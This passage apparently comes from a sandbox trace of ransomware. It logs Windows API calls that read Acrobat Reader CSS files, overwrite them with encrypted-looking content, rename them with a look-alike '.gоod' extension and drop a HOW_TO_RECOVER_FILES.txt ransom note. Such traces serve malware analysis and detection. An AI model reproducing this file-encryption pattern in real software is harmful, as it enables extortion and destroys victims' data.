lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0238.544] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.545] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0238.545] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0238.545] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0238.545] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0238.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0238.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0238.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0238.545] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css", lpFilePart=0x0) returned 0x6d [0238.545] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0238.545] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.546] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0238.546] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0238.546] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0238.546] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0238.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0238.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0238.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css", lpFilePart=0x0) returned 0x7f [0238.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0238.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css"), fInfoLevelId=0x0, lpFileInformation=0x3775428 | out: lpFileInformation=0x3775428*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b3)) returned 1 [0238.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0238.549] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css", lpFilePart=0x0) returned 0x7f [0238.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0238.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.550] GetFileType (hFile=0x860) returned 0x1 [0238.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0238.550] GetFileType (hFile=0x860) returned 0x1 [0238.550] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x4b3 [0238.550] ReadFile (in: hFile=0x860, lpBuffer=0x3780278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x3780278*, lpNumberOfBytesRead=0x208ed3f8*=0x4b3, lpOverlapped=0x0) returned 1 [0238.551] CloseHandle (hObject=0x860) returned 1 [0239.672] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css", lpFilePart=0x0) returned 0x7f [0239.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0239.672] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0239.673] GetFileType (hFile=0x808) returned 0x1 [0239.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0239.673] GetFileType (hFile=0x808) returned 0x1 [0239.674] WriteFile (in: hFile=0x808, lpBuffer=0x3875cd8*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3875cd8*, lpNumberOfBytesWritten=0x208ed308*=0x4c0, lpOverlapped=0x0) returned 1 [0239.674] CloseHandle (hObject=0x808) returned 1 [0239.674] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css", lpFilePart=0x0) returned 0x7f [0239.675] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css.gоod", lpFilePart=0x0) returned 0x84 [0239.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0239.675] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8b12ed85, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1 [0239.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0239.675] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main-selector.css.gоod")) returned 1 [0239.676] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", lpFilePart=0x0) returned 0x76 [0239.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0239.676] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x38770c8 | out: lpFileInformation=0x38770c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200)) returned 1 [0239.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0239.676] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", lpFilePart=0x0) returned 0x76 [0239.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0239.676] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0239.676] GetFileType (hFile=0x808) returned 0x1 [0239.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0239.677] GetFileType (hFile=0x808) returned 0x1 [0239.677] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x208ed4c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x208ed4c8*=0) returned 0x1000 [0239.677] ReadFile (in: hFile=0x808, lpBuffer=0x3877590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed498, lpOverlapped=0x0 | out: lpBuffer=0x3877590*, lpNumberOfBytesRead=0x208ed498*=0x200, lpOverlapped=0x0) returned 1 [0239.724] CloseHandle (hObject=0x808) returned 1 [0239.724] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", lpFilePart=0x0) returned 0x76 [0239.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0239.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0239.724] GetFileType (hFile=0x808) returned 0x1 [0239.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0239.724] GetFileType (hFile=0x808) returned 0x1 [0239.724] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x208ed4c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x208ed4c8*=0) returned 0x1200 [0239.725] WriteFile (in: hFile=0x808, lpBuffer=0x3899780*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x208ed3b8, lpOverlapped=0x0 | out: lpBuffer=0x3899780*, lpNumberOfBytesWritten=0x208ed3b8*=0x10, lpOverlapped=0x0) returned 1 [0239.725] CloseHandle (hObject=0x808) returned 1 [0239.725] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", lpFilePart=0x0) returned 0x76 [0239.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0239.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0239.725] GetFileType (hFile=0x808) returned 0x1 [0239.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0239.725] GetFileType (hFile=0x808) returned 0x1 [0239.725] ReadFile (in: hFile=0x808, lpBuffer=0x389ba98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed448, lpOverlapped=0x0 | out: lpBuffer=0x389ba98*, lpNumberOfBytesRead=0x208ed448*=0x1000, lpOverlapped=0x0) returned 1 [0241.261] CloseHandle (hObject=0x808) returned 1 [0241.261] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", lpFilePart=0x0) returned 0x76 [0241.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0241.261] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0241.261] GetFileType (hFile=0x808) returned 0x1 [0241.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0241.261] GetFileType (hFile=0x808) returned 0x1 [0241.261] WriteFile (in: hFile=0x808, lpBuffer=0x36f99a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x208ed4f8, lpOverlapped=0x0 | out: lpBuffer=0x36f99a8*, lpNumberOfBytesWritten=0x208ed4f8*=0x1010, lpOverlapped=0x0) returned 1 [0241.261] CloseHandle (hObject=0x808) returned 1 [0241.261] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css", lpFilePart=0x0) returned 0x76 [0241.261] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css.gоod", lpFilePart=0x0) returned 0x7b [0241.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0241.261] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8c04b9a7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1210)) returned 1 [0241.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0241.262] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\main.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\main.css.gоod")) returned 1 [0241.262] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ed110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x86 [0241.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed630) returned 1 [0241.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\css\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0241.265] GetFileType (hFile=0x808) returned 0x1 [0241.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5a0) returned 1 [0241.265] GetFileType (hFile=0x808) returned 0x1 [0241.265] WriteFile (in: hFile=0x808, lpBuffer=0x3c23e20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ed6f8, lpOverlapped=0x0 | out: lpBuffer=0x3c23e20*, lpNumberOfBytesWritten=0x208ed6f8*=0x5d0, lpOverlapped=0x0) returned 1 [0241.266] CloseHandle (hObject=0x808) returned 1 [0241.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0241.355] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images", lpFilePart=0x0) returned 0x70 [0241.355] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0241.357] FindNextFileW (in: hFindFile=0x134a800, 